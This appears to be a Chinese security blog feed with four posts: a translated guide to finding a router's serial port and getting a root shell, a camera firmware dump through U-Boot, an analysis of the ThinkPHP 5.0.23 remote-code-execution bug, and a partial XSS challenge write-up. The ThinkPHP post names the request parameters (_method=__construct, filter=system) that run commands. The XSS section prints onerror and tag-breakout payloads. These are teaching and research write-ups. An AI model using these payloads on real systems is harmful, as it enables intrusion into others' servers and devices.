title="识别接受引脚"></a>识别接受引脚</h2><p>明确识别接受引脚是最困难的，因为它没有独特的定义特征。我观察过各种系统的接受引脚的各种电压，包括：</p><ul><li>拉高到和Vcc相同的电压</li><li>拉高到比Vcc低几百mV的电压</li><li>左漂浮，在几百mV左右剧烈波动</li><li>左漂浮几秒，然后在串口初始化时被拉高</li></ul><p>由于我们在两个头部上只剩下一个未知引脚，我们知道只有P1404有效，通过排除法我们可以假设P1404上的引脚4是接受引脚。但是，有时可以将串行适配器单独连接到所有可能的接受引脚，运行minicom（Linux下的串口连接程序）按键盘的几个键，看看会发生什么。说到连接我们的串行适配器，让我们这样做。</p><h2 id="连接UART适配器"><a href="#连接UART适配器" class="headerlink" title="连接UART适配器"></a>连接UART适配器</h2><p>便宜的USB-UART适配器很容易获得，并且在Linux上默认支持，它们只是作为标准的USB串口，可以和minicom、python等一起使用。我们需要将UART适配器连接到串口，方式如下：</p><ul><li>适配器的地线必须连接到串口的地线</li><li>适配器的传输引脚必须连接到串口的接受引脚</li><li>适配器的接受引脚必须连接到串口的传输引脚</li></ul><p>实现这个的最简单方法是将<a href="http://www.digikey.com/product-detail/en/4-103327-0/A26514-40-ND/297924" target="_blank" rel="noopener">分离头</a>按大小焊接在P1404：</p><img src="/2019/03/02/serial-ports-translation-cn/22.jpg" title="分离头固定在面板上"><p>并使用一些<a href="https://www.sparkfun.com/products/9140" target="_blank" rel="noopener">公对母跳线</a>连接串口和适配器之间的相应引脚：</p><img src="/2019/03/02/serial-ports-translation-cn/23.jpg" title="UART适配器连接P1404"><h2 id="发现波特率"><a href="#发现波特率" class="headerlink" title="发现波特率"></a>发现波特率</h2><p>有了我们的硬件，就可以开始检查串口协议设置了。串口可以有多种设置，我们需要知道所有设置才能和串口通信：</p><ul><li>什么是波特率？</li><li>使用了多少数据位？</li><li>使用了多少奇偶校验位？</li><li>使用了多少停止位？</li></ul><p>幸运的是，事实上的标准是使用8个数据位，没有奇偶校验位和1个停止位（缩写成8N1），所以只留下波特率是未知的。试错法是识别波特率的最快、最简单的方法。由于串口通常用于显示调试信息（即传输ASCII数据），并且只有少量可能的波特率，因此切换所有可能的波特率直到观察到可以理解的数据是切实可行的。</p><p>或者，至少这是理论上的工作方式。实际上，如果支持这样做的话，我使用的所有终端仿真程序都会使得动态更改波特率变得很麻烦。为了去解决这个问题，我写了一个名为baudrate的工具，它试图自动检测激活的传输串口波特率（如果你愿意，你也可以手动循环每个波特率）。完成后，它会保存一个与minicom兼容的配置文件，并能用你的minicom加载。</p><p>随着UART适配器的连接，让我们运行baudrate（我使用手动模式演示，但自动检测功能在一样有魅力）：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">eve@eve:~$ sudo ./baudrate.py -p /dev/ttyUSB0</span><br><span class="line"></span><br><span class="line">Starting baudrate detection on /dev/ttyUSB0, turn on your serial device now.</span><br><span class="line">Press Ctl+C to quit.</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@</span><br></pre></td></tr></table></figure><p>我们能改变波特率通过按上/下箭头将波特率改为下一个更高/更低的波特率：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">@@@@@@@@@@@@@@@@@@@@@ Baudrate: 57600 @@@@@@@@@@@@@@@@@@@@@    &lt;--- Down arrow decreases baud rate</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@    &lt;--- Up arrow increases baud rate</span><br></pre></td></tr></table></figure><p>好的，现在让我们打开 9100EM 然后看看会发生什么：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@</span><br><span class="line"></span><br><span class="line">Starting entry for CP1 @0xa3400000</span><br><span class="line">memsize=52</span><br><span class="line">CPU revision is: 00019641</span><br><span class="line">Primary instruction cache 16kB, physically tagged, 4-way, linesize 32 bytes.</span><br><span class="line">Primary data cache 16kB 4-way, linesize 32 bytes.</span><br><span class="line">Linux version 2.4.21openrg-rmk1 #2 Thu Aug 28 19:30:48 CDT 2008</span><br><span class="line">Determined physical RAM map:</span><br><span class="line">User-defined physical RAM map:</span><br><span class="line"> memory: 03400000 @ 00000000 (usable)</span><br><span class="line">On node 0 totalpages: 13312</span><br><span class="line">zone(0): 4096 pages.</span><br><span class="line">zone(1): 9216 pages.</span><br><span class="line">zone(2): 0 pages.</span><br><span class="line">Kernel command line:  mem=52M</span><br><span class="line">mips_counter_frequency:166666667</span><br><span class="line">r4k_offset: 00196e6a(1666666)</span><br><span class="line">Calibrating delay loop... 222.00 BogoMIPS</span><br><span class="line">Memory: 44356k/53248k available (1568k kernel code, 8892k reserved, 6696k data, 4k init, 0k highmem)</span><br><span class="line">Dentry cache hash table entries: 8192 (order: 4, 65536 bytes)</span><br><span class="line">Inode cache hash table entries: 4096 (order: 3, 32768 bytes)</span><br><span class="line">Mount cache hash table entries: 512 (order: 0, 4096 bytes)</span><br><span class="line">Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)</span><br><span class="line">Page-cache hash table entries: 16384 (order: 4, 65536 bytes)</span><br><span class="line">Checking for &apos;wait&apos; instruction...  unavailable.</span><br><span class="line">POSIX conformance testing by UNIFIX</span><br><span class="line">PCI: Probing PCI hardware on host bus 0.</span><br><span class="line">Autoconfig PCI channel 0x801d19e0</span><br><span class="line">Scanning bus 00, I/O 0x1ae00000:0x1b000001, Mem 0x18000000:0x1a000001</span><br><span class="line">00:0e.0 Class 0200: 168c:001a (rev 01)</span><br><span class="line">        Mem at 0x18000000 [size=0x10000]</span><br><span class="line">Linux NET4.0 for Linux 2.4</span><br><span class="line">Based upon Swansea University Computer Society NET3.039</span><br><span class="line">Initializing RT netlink socket</span><br><span class="line">Starting kswapd</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>看起来我们尝试的第一个波特率115200是正确的（这并不奇怪，因为115200是实践中最常见的波特率之一）。按Ctl + C我们可以停止捕获并将设置保存到minicom配置文件，在这种情况下我将其命名为’9100em’：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Detected baudrate: 115200</span><br><span class="line"></span><br><span class="line">Save minicom configuration as: 9100em</span><br><span class="line"> </span><br><span class="line">Configuration saved. Run minicom now [n/Y]? n</span><br><span class="line"></span><br><span class="line">eve@eve:~$</span><br></pre></td></tr></table></figure><h2 id="进入shell"><a href="#进入shell" class="headerlink" title="进入shell"></a>进入shell</h2><p>现在我们运行minicom：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eve@eve:~$ minicom 9100em</span><br></pre></td></tr></table></figure><p>然后看看我们得到了什么：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">12/31 19:00:57 - Starting SoC reset sequence...</span><br><span class="line">12/31 19:00:58 - Clink FS shared data area written</span><br><span class="line">12/31 19:00:58 - CLNK_ETH_CTRL_RESET returned status 0 after 0.914 seconds</span><br><span class="line">12/31 19:00:58 - FSUPDATE: Pass = 1, Tuned Freq = 1000 MHz (8)</span><br><span class="line">12/31 19:01:10 - Clink Reset Cause :0x4 Reg:0x80240100 Dbg:0x0</span><br><span class="line">12/31 19:01:10 - Starting SoC reset sequence...</span><br><span class="line">12/31 19:01:11 - Clink FS shared data area written</span><br><span class="line">12/31 19:01:11 - CLNK_ETH_CTRL_RESET returned status 0 after 0.903 seconds</span><br><span class="line">12/31 19:01:12 - FSUPDATE: Pass = 1, Tuned Freq = 1150 MHz (14)</span><br><span class="line"></span><br><span class="line">Username: admin</span><br><span class="line">Password: *********</span><br><span class="line"></span><br><span class="line">Wireless Broadband Router&gt; help</span><br><span class="line">Error: help should be called with at least 1 argument</span><br><span class="line">help   Show help for commands within this menu</span><br><span class="line"></span><br><span class="line">Usage:</span><br><span class="line">        help all - show all available commands in the current level</span><br><span class="line">        help [category]... category - show commands in a certain category</span><br><span class="line">        help [category]... command - show detailed help for a specific command</span><br><span class="line">        help -s string - search for categories/commands containing the string</span><br><span class="line"></span><br><span class="line">Availble help Categories</span><br><span class="line">help upnp - show help about UPnP commands</span><br><span class="line">help conf - show help about Read and write Wireless Broadband Router configuration data</span><br><span class="line">help option_manager - show help about Option Manager</span><br><span class="line">help fireball - show help about Fireball configuration and control</span><br><span class="line">help cwmp - show help about CWMP related commands</span><br><span class="line">help bridge - show help about API for managing ethernet bridge</span><br><span class="line">help firewall - show help about Control and display Firewall and NAT data</span><br><span class="line">help connection - show help about API for managing connections</span><br><span class="line">help inet_connection - show help about API for managing internet connections</span><br><span class="line">help misc - show help about API for Wireless Broadband Router miscellaneous tasks</span><br><span class="line">help firmware_update - show help about Firmware update commands</span><br><span class="line">help log - show help about Contorols Wireless Broadband Router logging behaviour</span><br><span class="line">help dev - show help about Device related commands</span><br><span class="line">help kernel - show help about Kernel related commands</span><br><span class="line">help system - show help about Commands to control Wireless Broadband Router execution</span><br><span class="line">help flash - show help about Flash and loader related commands</span><br><span class="line">help net - show help about Network related commands</span><br><span class="line">help cmd - show help about Commands related to the Command module</span><br><span class="line"></span><br><span class="line">Returned -1</span><br><span class="line">Wireless Broadband Router&gt; help system</span><br><span class="line"></span><br><span class="line">Command Category system - Commands to control Wireless Broadband Router execution</span><br><span class="line">die               Exit from Wireless Broadband Router and return ret</span><br><span class="line">ps                Print Wireless Broadband Router&apos;s tasks</span><br><span class="line">entity_close      Close an entity</span><br><span class="line">etask_list_dump   Dump back trace of all etasks</span><br><span class="line">restore_default   Restore default configuration</span><br><span class="line">reboot            Reboot the system</span><br><span class="line">ver               Display version information</span><br><span class="line">print_config      Print compilation configuration. Search for option if specified</span><br><span class="line">exec              Execute program</span><br><span class="line">cat               Print file contents to console</span><br><span class="line">shell             Spawn busybox shell in foreground</span><br><span class="line">date              Print the current UTC and local time</span><br><span class="line">exit              Exit sub menu</span><br><span class="line">help              Show help for commands within this menu</span><br><span class="line"></span><br><span class="line">Returned 0</span><br><span class="line">Wireless Broadband Router&gt;</span><br></pre></td></tr></table></figure><p>一些串口要求登录，另外有一些不要求。在这个案例中，登录只是设备的管理员用户名和密码，它将我们带入一个自定义命令行shell，我们可以用它来管理路由器。根据help的输出，system shell命令应该提供一个root权限的shell，如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Wireless Broadband Router&gt; system shell</span><br><span class="line"></span><br><span class="line">BusyBox v1.01 (2005.09.07-07:38+0000) Built-in shell (lash)</span><br><span class="line">Enter &apos;help&apos; for a list of built-in commands.</span><br><span class="line"></span><br><span class="line">/ # cat /proc/cpuinfo</span><br><span class="line">system type             : TWINPASS-E</span><br><span class="line">processor               : 0</span><br><span class="line">cpu model               : unknown V4.1</span><br><span class="line">BogoMIPS                : 222.00</span><br><span class="line">wait instruction        : no</span><br><span class="line">microsecond timers      : yes</span><br><span class="line">tlb_entries             : 16</span><br><span class="line">extra interrupt vector  : yes</span><br><span class="line">hardware watchpoint     : yes</span><br><span class="line">VCED exceptions         : not available</span><br><span class="line">VCEI exceptions         : not available</span><br><span class="line">/ #</span><br></pre></td></tr></table></figure><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>这就是使用一个万用表和一些免费软件从逻辑上识别了串口的物理接口，发现了它的波特率并获得一个shell，我们可以用它来进一步探索系统。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;这是一篇来自devttys0的一篇文章，在寻找串口的方法上给出了很多有用的方法，是一篇不错的总结文，在国内没有看到翻译，所以就想翻译成中文供大家学习，第一次做翻译，如有错误之处，请大家体谅，可以给我留言，我会快速修改。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="IOT" scheme="https://hurricane618.me/tags/IOT/"/>
    
      <category term="翻译" scheme="https://hurricane618.me/tags/%E7%BF%BB%E8%AF%91/"/>
    
  </entry>
  
  <entry>
    <title>萤石某摄像头的安全分析--固件提取</title>
    <link href="https://hurricane618.me/2019/02/18/yingshi-camera-firmware-extract/"/>
    <id>https://hurricane618.me/2019/02/18/yingshi-camera-firmware-extract/</id>
    <published>2019-02-18T15:35:08.000Z</published>
    <updated>2019-03-02T11:34:46.000Z</updated>
    
    <content type="html"><![CDATA[<p>由于之前考研一直没有时间搞，现在终于有空来做一些小实验。</p><h2 id="固件提取方式"><a href="#固件提取方式" class="headerlink" title="固件提取方式"></a>固件提取方式</h2><p>比较主流的提取方式有以下几种：</p><ol><li>官网或者找客服索要固件</li><li>在线升级的时候抓包得到下载地址</li><li>拆flash芯片，用编程器读取芯片内容（也可以使用烧录夹直接获取flash，但是有些时候有保护引脚就只能拆芯片）</li><li>用硬件电路的调试接口和固件的bootloader获取固件</li><li>从串口进入系统之后，打包固件</li></ol><p>首先，这个摄像头现在没有升级操作，官网也没有固件。烧录夹现在还用的不熟练，在分析之后决定用硬件调试接口来获取固件。</p><h2 id="TTL接口线序"><a href="#TTL接口线序" class="headerlink" title="TTL接口线序"></a>TTL接口线序</h2><p>这里推荐一篇仙果大佬写的省钱版测序 <a href="https://bbs.pediy.com/thread-246405.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-246405.htm</a> ，通过万用表就能简单判断vcc和gnd，gnd可以使用蜂鸣档快速判断，vcc可以用直流电压测量，黑表笔接gnd，红表笔探测其他接口，如果是3.3v或者5v，那红表笔所在接口就是vcc，随后txd和rxd需要先连接测试，如果不行再交换引脚。</p><img src="/2019/02/18/yingshi-camera-firmware-extract/1.jpg"><p>其中电路板的txd和rxd要和usb-ttl转接器的rxd和txd相连，接地线对接地线，如上图所示。这里推荐使用全隔离型的usb-ttl，可以防烧电脑接口。</p><p>这里采用的是外部供电的方式进入设备的uboot系统，所以需要接上电源然后再将usb-ttl接入电脑的接口。</p><p>在焊接的时候要特别注意不要将焊点连接在一起了，这样会导致串口连接不正常，要么没有数据显示，要么会无法输入。</p><h2 id="导出固件"><a href="#导出固件" class="headerlink" title="导出固件"></a>导出固件</h2><p>这里使用secureCRT连接串口，进入摄像头系统。我是windows系统，通过设备管理器可以看到连接的com口，之后配置连接。</p><img src="/2019/02/18/yingshi-camera-firmware-extract/2.png"><p>115200是比较常用的波特率，其中要注意流控制是不选的，因为没有进入正常的系统，而是uboot，所以不需要这些流控制协议。</p><p>连接成功之后一直跳错误……没办法重置一下，在进入系统之前它会确认是否进入系统，这里要按<code>ctrl+u</code>中断自动进系统，这样我们就成功进入uboot系统。</p><img src="/2019/02/18/yingshi-camera-firmware-extract/3.png"><p>比较重要的几个命令，<code>bdinfo</code>，<code>printenv</code>，<code>sf</code>，<code>md</code></p><p>通过<code>bdinfo</code>，可以知道一些基础的硬件设定。</p><img src="/2019/02/18/yingshi-camera-firmware-extract/4.png"><p><code>printenv</code>获得环境变量的具体数值。</p><img src="/2019/02/18/yingshi-camera-firmware-extract/5.png"><p><code>sf probe 0</code>选择我们的flash芯片。</p><img src="/2019/02/18/yingshi-camera-firmware-extract/6.png"><p>知道flash芯片大小为8M，然后在系统一开始会显示flash的地址分配</p><img src="/2019/02/18/yingshi-camera-firmware-extract/7.png"><p>由于内存有很多没有使用的部分，提取思路就是把flash中的固件读在未使用的内存中，然后用<code>md</code>命令读取出来</p><p><code>sf read 0xa1000000 0 0x800000</code></p><p>将flash的固件读出来之后，验证一下，读取linux内核看看有没有相关的东西。</p><p><code>md 0xa1060000 0xa0</code></p><img src="/2019/02/18/yingshi-camera-firmware-extract/8.png"><p>验证成功，现在就要把整个固件全部导出来。<code>md 0xa1000000 0x800000</code>。将结果保存在会话日志中，这样就得到了固件的二进制的文本内容。再转换成二进制文件，即得到固件。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"></span><br><span class="line">hex_file = open(<span class="string">'session.log'</span>, <span class="string">'r'</span>)</span><br><span class="line">bin_file = open(<span class="string">'hex2bin.bin'</span>, <span class="string">'wb'</span>)</span><br><span class="line"><span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line">    line = hex_file.readline().strip()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> line:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    strs = line.split(<span class="string">' '</span>)</span><br><span class="line">    <span class="keyword">for</span> string <span class="keyword">in</span> strs:</span><br><span class="line">        bin_file.write(binascii.a2b_hex(string))</span><br></pre></td></tr></table></figure><img src="/2019/02/18/yingshi-camera-firmware-extract/9.png"><p>但是发现和之前得到的固件结构有矛盾，怎么会只有一个zImage。。。所以切换成小端写入二进制。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"></span><br><span class="line">hex_file = open(<span class="string">'session.log'</span>, <span class="string">'r'</span>)</span><br><span class="line">bin_file = open(<span class="string">'hex2bin.bin'</span>, <span class="string">'wb'</span>)</span><br><span class="line"><span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line">    line = hex_file.readline().strip()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> line:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    strs = line.split(<span class="string">' '</span>)</span><br><span class="line">    <span class="keyword">for</span> string <span class="keyword">in</span> strs:</span><br><span class="line">        bin_file.write(binascii.a2b_hex(string[<span class="number">-2</span>:]))</span><br><span class="line">        bin_file.write(binascii.a2b_hex(string[<span class="number">-4</span>:<span class="number">-2</span>]))</span><br><span class="line">        bin_file.write(binascii.a2b_hex(string[<span class="number">-6</span>:<span class="number">-4</span>]))</span><br><span class="line">        bin_file.write(binascii.a2b_hex(string[:<span class="number">-6</span>]))</span><br></pre></td></tr></table></figure><img src="/2019/02/18/yingshi-camera-firmware-extract/10.png"><p>果然是大小端的问题，切换成小端序就能用binwalk分析出正确的结构。这个我们在提取的时候一定要注意大小端顺序问题。</p><p>最后感谢马良，在操作过程中的指点和引导，焊接图也是出自马良，学到了很多知识感激不尽。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;由于之前考研一直没有时间搞，现在终于有空来做一些小实验。&lt;/p&gt;
&lt;h2 id=&quot;固件提取方式&quot;&gt;&lt;a href=&quot;#固件提取方式&quot; class=&quot;headerlink&quot; title=&quot;固件提取方式&quot;&gt;&lt;/a&gt;固件提取方式&lt;/h2&gt;&lt;p&gt;比较主流的提取方式有以下几种：&lt;/p
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="IOT" scheme="https://hurricane618.me/tags/IOT/"/>
    
  </entry>
  
  <entry>
    <title>thinkphp 5.0.23 rce分析和复现</title>
    <link href="https://hurricane618.me/2019/02/03/thinkphp-5-0-23-rce/"/>
    <id>https://hurricane618.me/2019/02/03/thinkphp-5-0-23-rce/</id>
    <published>2019-02-03T02:08:15.000Z</published>
    <updated>2019-02-03T02:16:42.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>入口是在app::run()，这里有创建http的请求实例，</p><img src="/2019/02/03/thinkphp-5-0-23-rce/1.png"><p>随后在后面会有路由检查，从这里跟进函数<code>routeCheck</code>。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/2.png"><p>在路由检查中会到路由类的check方法处，继续跟进。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/3.png"><p>在check中会有获取当前方法的method</p><img src="/2019/02/03/thinkphp-5-0-23-rce/4.png"><p>下面在method中会获取<code>var_method</code>这个伪变量，其实这个就是我们通过post传进的<code>_method</code>，这里进入判断之后会将我们post的值当做Request类的方法调用，这里我们的poc是传入的<code>__construct</code>，这样就会调用它的构造方法，并且参数是post数据。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/5.png"><p>继续跟进构造方法，这里的foreach会遍历所有变量，将存在的参数全部覆盖掉，在我们传入的参数中的filter，就把之前的覆盖了，并且在这里传入method为get的原因也是因为之前注册路由是get方法，所以这里要把请求的method覆盖成get，避免报错。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/6.png"><p>在这调用完成之后<code>routeCheck</code>将返回<code>method</code>赋值给<code>dispatch</code>。之后会继续在run函数里面执行exec函数。由于type为method执行相应的分支。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/7.png"><img src="/2019/02/03/thinkphp-5-0-23-rce/8.png"><p>而这里的<code>param</code>方法能获取参数，并且和URL中的参数合并。这里得到的参数就是post数据中的<code>get[]=dir</code></p><img src="/2019/02/03/thinkphp-5-0-23-rce/9.png"><p>它的返回调用了<code>input</code>方法，跟进<code>input</code>。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/10.png"><img src="/2019/02/03/thinkphp-5-0-23-rce/11.png"><p><code>input</code>最后将参数和<code>filter</code>一起传入<code>array_walk_recursive</code>中。其中参数中有我们传的<code>dir</code>，而<code>filter</code>通过<code>getFilter</code>有我们传的<code>system</code>。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/12.png"><img src="/2019/02/03/thinkphp-5-0-23-rce/13.png"><p>在这之后调用的<code>array_walk_recursive</code>会用<code>filterValue</code>，来处理数据，在这之中用<code>call_user_func</code>。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/14.png"><p>这里<code>system</code>和<code>dir</code>分别是filter和value中的值，凑在一起就触发命令执行。</p><p>这里是第一个poc的分析，而第二个poc比较类似，同样是利用input函数，这里利用的点是在param的<code>$this-&gt;method(true)</code>中。</p><p>因为是true所以进入了<code>server(&#39;REQUEST_METHOD&#39;)</code>，最后同样到input中，并且data是server数组，filter同样是system。</p><img src="/2019/02/03/thinkphp-5-0-23-rce/15.png"><p>造成的效果都是命令执行。</p><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><img src="/2019/02/03/thinkphp-5-0-23-rce/16.png"><img src="/2019/02/03/thinkphp-5-0-23-rce/17.png"><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>在调试的过程中也算是学到了很多东西，比如vscode+xdebug的动态调试方案，特别的轻巧，功能点也很完善。关于在验证poc的时候其实出了一些小问题，那就是我的burp发送的post数据和header之前多了一个空行，也就是这个多的空行导致我的poc老是失败……这也是注意小的细节问题，只有在真正调试的时候才会被发现。</p><p>以后还是要多动手实践。接下来几天我会研究一点新的东西，拭目以待吧。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://paper.seebug.org/787/" target="_blank" rel="noopener">https://paper.seebug.org/787/</a></p><p><a href="https://blog.csdn.net/qq_29647709/article/details/86307859" target="_blank" rel="noopener">https://blog.csdn.net/qq_29647709/article/details/86307859</a></p><p><a href="https://xz.aliyun.com/t/3845" target="_blank" rel="noopener">https://xz.aliyun.com/t/3845</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;分析&quot;&gt;&lt;a href=&quot;#分析&quot; class=&quot;headerlink&quot; title=&quot;分析&quot;&gt;&lt;/a&gt;分析&lt;/h2&gt;&lt;p&gt;入口是在app::run()，这里有创建http的请求实例，&lt;/p&gt;
&lt;img src=&quot;/2019/02/03/thinkphp-5-0-
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="PHP" scheme="https://hurricane618.me/tags/PHP/"/>
    
      <category term="代码审计" scheme="https://hurricane618.me/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>haozi xss 挑战赛 writeup</title>
    <link href="https://hurricane618.me/2019/01/27/haozi-xss-challenges/"/>
    <id>https://hurricane618.me/2019/01/27/haozi-xss-challenges/</id>
    <published>2019-01-27T13:38:32.000Z</published>
    <updated>2019-01-27T13:40:38.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0x00"><a href="#0x00" class="headerlink" title="0x00"></a>0x00</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;div&gt;'</span> + input + <span class="string">'&lt;/div&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>没什么说的，div标签+没过滤直接插 <code>&lt;img src=1 onerror=alert(1)&gt;</code></p><h2 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;textarea&gt;'</span> + input + <span class="string">'&lt;/textarea&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输入点在<code>&lt;textarea&gt;</code>这种标签中，需要闭合标签，在插入payload。<code>&lt;/textarea&gt;&lt;img src=1 onerror=alert(1)&gt;</code></p><h2 id="0x02"><a href="#0x02" class="headerlink" title="0x02"></a>0x02</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> 